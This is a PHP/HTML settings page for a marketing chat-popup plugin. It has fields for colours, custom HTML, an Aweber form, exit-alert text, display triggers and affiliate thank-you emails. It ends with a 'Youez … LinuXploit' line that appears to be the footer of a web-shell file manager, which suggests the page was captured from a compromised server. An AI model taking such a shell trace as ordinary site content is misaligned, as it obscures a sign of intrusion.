                  <td width="84%"><div align="left"><a href="#" onclick="cp.select(document.forms[0].buttoncolor,document.forms[0].buttoncolor_show,'pick4');return false;" name="pick4" id="pick4">Pick color</a></div></td>
                </tr>
            </table></td>
          </tr>
          <tr>
            <td><div align="right">Button hover color:</div></td>
            <td><table width="100%" border="0" cellspacing="0" cellpadding="1">
                <tr>
                  <td width="14%"><input name="buttonhovercolor" type="text" style="width: 60px" value="<?php echo $buttonhovercolor; ?>" size="20" maxlength="7"/></td>
                  <td width="2%"><input type="text" id="buttonhovercolor_show" size="1" value="" <?php echo $buttonhovercolor_style; ?>/></td>
                  <td width="84%"><div align="left"><a href="#" onclick="cp.select(document.forms[0].buttonhovercolor,document.forms[0].buttonhovercolor_show,'pick5');return false;" name="pick5" id="pick5">Pick color</a></div></td>
                </tr>
            </table></td>
          </tr>
          <tr>
            <td><div align="right">Border color:</div></td>
            <td width="66%"><table width="100%" border="0" cellspacing="0" cellpadding="1">
                <tr>
                  <td width="14%"><input name="buttonbordercolor" type="text" style="width: 60px" value="<?php echo $buttonbordercolor; ?>" size="20" maxlength="7"/></td>
                  <td width="2%"><input type="text" id="buttonbordercolor_show" size="1" value="" <?php echo $buttonbordercolor_style; ?>/></td>
                  <td width="84%"><div align="left"><a href="#" onclick="cp.select(document.forms[0].buttonbordercolor,document.forms[0].buttonbordercolor_show,'pick6');return false;" name="pick6" id="pick6">Pick color</a></div></td>
                </tr>
            </table></td>
          </tr>
          <tr>
            <td><div align="right">Border size:</div></td>
            <td><select name="buttonbordersize" id="buttonbordersize" style="width: 68px">
              <?php echo $buttonbordersize_options; ?>
            </select>
              pixels</td>
          </tr>
          <tr>
            <td><div align="right">Border style:</div></td>
            <td><select name="buttonborderstyle" id="buttonborderstyle" style="width: 68px">
              <?php echo $buttonborderstyle_options; ?>
            </select></td>
          </tr>
          <tr>
            <td><div align="right"> text styling:</div></td>
            <td><table width="100%" border="0" cellspacing="0" cellpadding="1">
                <tr>
                  <td width="9%"><strong>Bold</strong></td>
                  <td width="5%"><em><strong>
                    <input name="buttontextbold" type="checkbox" id="buttontextbold" value="bold" <?php echo $buttontextbold_checked; ?>/>
                  </strong></em></td>
                  <td width="8%"><em>Italic</em></td>
                  <td width="78%"><em>
                    <input name="buttontextitalic" type="checkbox" id="buttontextitalic" value="italic" <?php echo $buttontextitalic_checked; ?>/>
                  </em></td>
                </tr>
            </table></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Chat Window Custom Input (optional)</td>
      </tr>
      <tr>
        <td>Here is where you can enter your own custom html above or below the chat box in the chat window.  You can insert an advertisement or a newsletter subscription form. Anything you want! We recommend using the built-in subscription form because the VSA system will save all your web visitors name's and email's in a database table for easy exporting. You can also force VSA to log names and emails by setting id parameters in your input tags. See <a href="http://www.virtualsmartagent.com/help/index.php" target="_blank">help videos</a></td>
      </tr>
      <tr>
        <td><table width="100%" border="0" cellspacing="0" cellpadding="1">
            <tr>
              <td valign="top"><input type="checkbox" name="usecustomcode" value="1" id="usecustomcode" <?php echo $usecustomcode_checked; ?>/></td>
              <td colspan="2" nowrap="nowrap">Custom html input</td>
              </tr>
            <tr>
              <td valign="top">&nbsp;</td>
              <td nowrap="nowrap"><input name="customcodelocation" type="radio" id="customcodelocation" value="top" <?php echo $customcodelocation_radio[0]; ?>/></td>
              <td nowrap="nowrap">Insert custom html ABOVE the chat box </td>
            </tr>
            <tr>
              <td width="20" valign="top">&nbsp;</td>
              <td width="20" nowrap="nowrap"><input type="radio" name="customcodelocation" id="customcodelocation" value="bottom" <?php echo $customcodelocation_radio[1]; ?>/></td>
              <td width="620" nowrap="nowrap">Insert custom html BELOW the chat box</td>
            </tr>
          </table>
          <br />
          <table width="80" border="0" align="center" cellpadding="2" cellspacing="0">
            <tr>
              <td width="396"><p>Get a <a href="http://ehotitems.freese.hop.clickbank.net" target="_blank">free html editor here.</a></p>                </td>
            </tr>
            <tr>
              <td><textarea name="customcode" cols="45" rows="7" wrap="off" id="customcode" style="width: 400px"><?php echo $customcode; ?></textarea></td>
            </tr>
            <tr>
              <td><table width="48" border="0" cellspacing="0" cellpadding="1">
                <tr>
                  <td width="46"><input type="button" name="customclearbutton" id="customclearbutton" value="Clear" onclick="ClearCustomHTML();" /></td>                  
                </tr>
              </table></td>
            </tr>
          </table>          
          <br /></td>
      </tr>
      <tr>
        <td><p>
          <input name="aweber_useaweber" type="checkbox" id="aweber_useaweber" value="1" <?php echo $useaweber_checked; ?>/>
          Built-in Aweber subscription form</p>
          <table width="100%" border="0" cellspacing="0" cellpadding="5">
            <tr>
              <td colspan="2">Don't have an aweber account yet? Aweber is one of the best autoresponder services on the planet! I have been using them for over 6 years building multiple large mailing lists. <a href="http://www.aweber.com/?207834" target="_blank">Get your account here</a>. IT'S WORTH IT!</td>
              </tr>
            <tr>
              <td width="30%"><div align="right">Aweber list name:</div></td>
              <td width="70%"><input name="aweber_listname" type="text" id="aweber_listname" style="width: 200px" value="<?php echo $aweber_listname; ?>" /></td>
            </tr>
            <tr>
              <td><div align="right">Thank you page:</div></td>
              <td><input type="text" name="aweber_thankyoupage" id="aweber_thankyoupage" style="width: 200px" value="<?php echo $aweber_thankyoupage; ?>" /></td>
            </tr>
            <tr>
              <td><div align="right">Forward variables:</div></td>
              <td><label>
                <input name="aweber_forwardvars" type="checkbox" id="aweber_forwardvars" value="1" <?php echo $forwardvars_checked; ?>/>
              </label>              
                Post  variables to the thank you page? (If you don't know what this means,   leave it unchecked.)</td>
            </tr>
            <tr>
              <td><div align="right">Ad tracking:</div></td>
              <td><input type="text" name="aweber_adtracking" id="aweber_adtracking" style="width: 200px" value="<?php echo $aweber_adtracking; ?>" /></td>
            </tr>
          </table>          </td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Chat Window Dimensions</td>
      </tr>
      <tr>
        <td><table width="100%" border="0" cellspacing="0" cellpadding="5">
          <tr>
            <td width="30%"><div align="right">Width:</div></td>
            <td width="70%"><input type="text" name="chatwidth" id="chatwidth" style="width: 100px" value="<?php echo $chatwidth; ?>" />
              pixels</td>
          </tr>
          <tr>
            <td><div align="right">Height:</div></td>
            <td><input type="text" name="chatheight" id="chatheight" style="width: 100px" value="<?php echo $chatheight; ?>" />
              pixels</td>
          </tr>

        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">On Exit Alert Message</td>
      </tr>
      <tr>
        <td><p>Enter only plain text with NO html or really strange characters. Otherwise, it may not function properly. This text is placed on the small confirmation alert window that appears when someone attempts to leave the web page containing your agent. This text does  NOT go into the actual agent chat window. See <a href="http://www.virtualsmartagent.com/help/index.php" target="_blank">help videos</a></p>
          <p><strong>Note:</strong> There is absolutely NO way to change the text that appears at the top or at the bottom of the exit alert message box. Also, there is NO way to change the buttons or button text. Only the text in the middle can be altered. This is a limitation for ALL web browsers.</p></td>
      </tr>
      <tr>
        <td><table width="100%" border="0" cellspacing="0" cellpadding="5">
          <tr>
            <td valign="top">
              <table width="80" border="0" align="center" cellpadding="2" cellspacing="0">
                <tr>
                  <td width="396"><textarea name="alertmessage" cols="45" rows="7" wrap="off" id="alertmessage" style="width: 400px"><?php echo $alertmessage; ?></textarea></td>
                  </tr>
                <tr>
                  <td><table width="100" border="0" cellspacing="0" cellpadding="1">
                    <tr>
                      <td width="12%"><input type="button" name="alertclearbutton" id="alertclearbutton" value="Clear" onclick="ClearAlertMessage();" /></td>
                      <td width="88%"><input type="button" name="alertdefaultbutton" id="alertdefaultbutton" value="Load Default Message" onclick="SetDefaultAlert();" /></td>
                    </tr>
                  </table></td>
                  </tr>
              </table>              </td>
            </tr>

        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Display Options</td>
      </tr>
      <tr>
        <td><table width="100%" border="0" cellspacing="0" cellpadding="5">
          <tr>
            <td width="30%" valign="top"><div align="right">Display method:</div></td>
            <td><table width="100%" border="0" cellspacing="0" cellpadding="1">
                <tr>
                  <td valign="top"><input name="displaymethod" type="radio" id="displaymethod" value="dialog" <?php echo $displaymethod_radio[0]; ?>/></td>
                  <td nowrap="nowrap">Chat appears on page exit with  alert message</td>
                </tr>
                <tr>
                  <td width="20" valign="top"><input type="radio" name="displaymethod" id="displaymethod" value="mouse" <?php echo $displaymethod_radio[1]; ?>/></td>
                  <td width="366" nowrap="nowrap">Chat appears when user moves mouse  to top of page<br />
                    <input name="usemousemessage" type="checkbox" id="usemousemessage" value="1" <?php echo $usemousemessage_checked; ?>/>
use on exit alert message. See <a href="http://www.virtualsmartagent.com/help/index.php" target="_blank">help videos</a><br />
                    <input name="mousetimes" type="checkbox" id="mousetimes" value="1" <?php echo $mousetimes_checked; ?>/>
                    appear only once per browser session. See <a href="http://www.virtualsmartagent.com/help/index.php" target="_blank">help videos</a></td>
                </tr>
                <tr>
                  <td valign="top"><input type="radio" name="displaymethod" id="displaymethod" value="none" <?php echo $displaymethod_radio[2]; ?>/></td>
                  <td nowrap="nowrap">Don't display chat on exit (useful when initiated through a link)</td>
                </tr>
            </table></td>
          </tr>
          <tr>
            <td valign="top"><div align="right">Display style:</div></td>
            <td width="66%"><table width="100%" border="0" cellspacing="0" cellpadding="1">
              <tr>
                <td valign="top"><input name="chatwintype" type="radio" id="chatwintype2" value="default" <?php echo $chatwintype_radio[0]; ?>/></td>
                <td nowrap="nowrap">Window style (movable pop-over window)</td>
                </tr>
              <tr>
                <td width="20" valign="top"><input type="radio" name="chatwintype" id="chatwintype" value="thickbox" <?php echo $chatwintype_radio[1]; ?>/></td>
                <td width="366" nowrap="nowrap">Modal style (non-movable modal pop-over with background shading)</td>
                </tr>
            </table></td>
          </tr>
          <tr>
            <td valign="top"><div align="right">Disable all links:</div>
              <br /></td>
            <td valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="1">
              <tr>
                <td><input name="disablelinks" type="radio" id="disablelinks" value="yes" <?php echo $disablelinks_radio[0]; ?>/></td>
                <td>Yes</td>
                <td width="354" rowspan="2" valign="top" bgcolor="#E8E8E8">If set to &quot;Yes&quot;, when a link is clicked, the chat agent will NOT appear.</td>
              </tr>
              <tr>
                <td width="20"><input type="radio" name="disablelinks" id="disablelinks" value="no" <?php echo $disablelinks_radio[1]; ?>/></td>
                <td width="33">No</td>
                </tr>
            </table></td>
          </tr>
          <tr>
            <td valign="top"><div align="right">Disable all forms:</div>
                <br /></td>
            <td valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="1">
                <tr>
                  <td><input name="disableforms" type="radio" id="disableforms" value="yes" <?php echo $disableforms_radio[0]; ?>/></td>
                  <td>Yes</td>
                  <td rowspan="3" valign="top" bgcolor="#E8E8E8">If set to &quot;Yes&quot;, when a form is submitted, the chat agent will NOT appear. For example, when someone clicks a paypal order button, or when someone tries to subscribe to a newsletter optin form.</td>
                </tr>
                <tr>
                  <td><input type="radio" name="disableforms" id="disableforms2" value="no" <?php echo $disableforms_radio[1]; ?>/></td>
                  <td>No</td>
                </tr>
                <tr>
                  <td width="21">&nbsp;</td>
                  <td width="35">&nbsp;</td>
                </tr>
            </table>
              </td>
          </tr>
          <tr>
            <td valign="top"><div align="right">Display period:</div></td>
            <td><table width="100%" border="0" cellspacing="0" cellpadding="1">
              <tr>
                <td><input name="displayperiodrb" type="radio" id="displayperiodrb" value="no" <?php echo $displayperiod_radio[0]; ?>/></td>
                <td>Display agent every time</td>
              </tr>
              <tr>
                <td width="20"><input type="radio" name="displayperiodrb" id="displayperiodrb" value="yes" <?php echo $displayperiod_radio[1]; ?>/></td>
                <td width="366">Display agent once every 
                  <select name="displayperiod" id="displayperiod" style="width: 100px">
                    <?php echo $displayperiod_options; ?>
                  </select></td>
              </tr>
            </table></td>
          </tr>

        </table></td>
      </tr>
      <tr>
        <td><table width="100%" border="1" cellpadding="5" cellspacing="0" bordercolor="#000000" bgcolor="#FFFFCC">
          <tr>
            <td><p><strong>NOTE 1:</strong> By default all the links on the page containing your agent are disabled meaning that when a link is clicked, the chat agent will not appear. You can set the disable all links setting above to &quot;No&quot;  and manually disable the  chat agent on your site for any reason. For example, you most likely do not want the chat agent to appear when the order button is clicked. If you have the disable all links set to &quot;Yes&quot;, then you can prevent the chat agent from appearing when a link or button is clicked by using the <strong>DisableVSAChat()</strong> function as follows:</p>
              <p>Disabling chat agent in an order link: <br />
                <span class="style1">&lt;a href=&quot;orderpage.html&quot; onclick=&quot;DisableVSAChat();&quot;&gt;Order Here&lt;/a&gt;</span></p>
              <p><strong>Note 2:</strong> You can also manually prevent the chat agent from appearing  on form submit. For example, if you have a newsletter subscription form on your page, you most likely do not want the chat agent  to appear after someone signs up for your newsletter. You can prevent the chat agent from appearing when a submit button is clicked by using the <strong>DisableVSAChat()</strong> function as follows:</p>
              <p>Disabling chat agent in a form submit:<br />
                <span class="style1">&lt;form onsubmit=&quot;DisableVSAChat();&quot;&gt;<br />
                ..<br />
                &lt;/form&gt;</span></p>
              <p><strong>Note 3:</strong> How to manually disable chat agent for a PayPal order button form. You can manually prevent the chat agent from appearing when someone clicks your PayPal order button by using the <strong>DisableVSAChat()</strong> function as follows in your PayPal form html code:</p>
              <p>Disabling chat agent in a PayPal form order button:<br />
                  <span class="style1">&lt;form action=&quot;https://www.paypal.com/cgi-bin/webscr&quot; method=&quot;post&quot; onsubmit=&quot;DisableVSAChat();&quot;&gt;<br />
                  ..</span><span class="style1"><br />&lt;/form&gt;</span></p>
              <p><strong>Note 4:</strong> How to initiate the chat agent by clicking a link or image. You can manually force the chat agent to appear by inserting a rel parameter in your link's anchor tag as follows:</p>
              <p>Initiating chat agent through a link:<br />
                <span class="style1">&lt;a href=&quot;#&quot; rel=&quot;ShowVSAChat&quot;&gt;Show Virtual Agent&lt;/a&gt;</span></p>
              <p>Initiating chat agent through an image link:<br />
                <span class="style1">&lt;a href=&quot;#&quot; rel=&quot;ShowVSAChat&quot;&gt;&lt;img src=&quot;yourimage.jpg width=&quot;200&quot; height=&quot;200&quot;&gt;&lt;/a&gt;</span></p>
              <p>See <a href="http://www.virtualsmartagent.com/help/index.php" target="_blank">help videos</a></p></td>
          </tr>
        </table>          </td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Agent Response Timing</td>
      </tr>
      <tr>
        <td>The initial message delay is the time it takes each initial agent chat message to appear. The smart message delay is the time is takes the agent to respond to a user's input question.</td>
      </tr>
      <tr>
        <td><table width="100%" border="0" cellspacing="0" cellpadding="5">
          <tr>
            <td width="45%"><div align="right">Initial message delay:</div></td>
            <td width="66%"><select name="instantdelay" id="instantdelay" style="width: 68px">
              <?php echo $instantdelay_options; ?>
                                    </select> 
              seconds</td>
          </tr>
          <tr>
            <td><div align="right">Smart message delay:</div></td>
            <td><select name="smartdelay" id="smartdelay" style="width: 68px">
              <?php echo $smartdelay_options; ?>
                        </select>               
              seconds</td>
          </tr>

        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Auto Thank You Email Advertisement</td>
      </tr>
      <tr>
        <td>This feature will automatically send your website visitors a short thank you email that can contain your special offer link as well as your affiliate link to virtual smart agent. This is a powerful way to increase your website sales as well as earn extra cash from the virtual smart agent affiliate program. Please remember to insert your  affiliate link in the section at the top of this page. Also, only enter plain text and avoid using HTML or else it may not work. Plus, html emails may get filtered by your web visitor's email provider.</td>
      </tr>
      <tr>
        <td><input name="useautoemail" type="checkbox" id="useautoemail" value="1" <?php echo $useautoemail_checked; ?>/> 
          Activate auto thank you email advertisement</td>
      </tr>
      <tr>
        <td><table width="472" border="0" align="center" cellpadding="2" cellspacing="0">
          <tr>
            <td nowrap="nowrap"><div align="right">From email:</div></td>
            <td><input name="autoemailfrom" type="text" id="autoemailfrom" style="width: 400px" value="<?php echo $autoemailfrom; ?>" /></td>
          </tr>
          <tr>
            <td><div align="right">Subject:</div></td>
            <td><input name="autoemailsubject" type="text" id="autoemailsubject" style="width: 400px" value="<?php echo $autoemailsubject; ?>" /></td>
          </tr>
          <tr>
            <td valign="top"><div align="right">Codes:</div></td>
            <td><select name="autoemailcodes" id="autoemailcodes" style="width: 400px" onchange="document.chatwindowform.autoemailmessage.value += this.value">
            <?php echo $autoemailcodes_options; ?>
            </select>            </td>
          </tr>
          <tr>
            <td width="64" valign="top"><div align="right">Message:</div></td>
            <td width="435"><textarea name="autoemailmessage" cols="45" rows="7" wrap="off" id="autoemailmessage" style="width: 400px"><?php echo $autoemailmessage; ?></textarea></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
            <td><table width="100" border="0" cellspacing="0" cellpadding="1">
                <tr>
                  <td width="12%"><input type="button" name="autoclearbutton" id="autoclearbutton" value="Clear" onclick="document.chatwindowform.autoemailsubject.value='';document.chatwindowform.autoemailmessage.value='';" /></td>
                  <td width="88%"><input type="button" name="autotdefaultbutton" id="autodefaultbutton" value="Load Defaults" onclick="SetDefaultAutoMessage();" /></td>
                </tr>
            </table></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td><hr class="grey_dashed" /></td>
      </tr>
      <tr>
        <td><input type="submit" name="actionbutton" id="actionbutton" value="Save Display Settings" /></td>
      </tr>
      <tr>
        <td><hr class="grey_dashed" /></td>
      </tr>
    </table>
    </form>
    </td>
  </tr>
  <tr>
    <td><div align="center"><?php echo $copyright; ?><?php echo $bottomlinks; ?></div></td>
  </tr>
</table>
<?php echo $cbottom; ?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit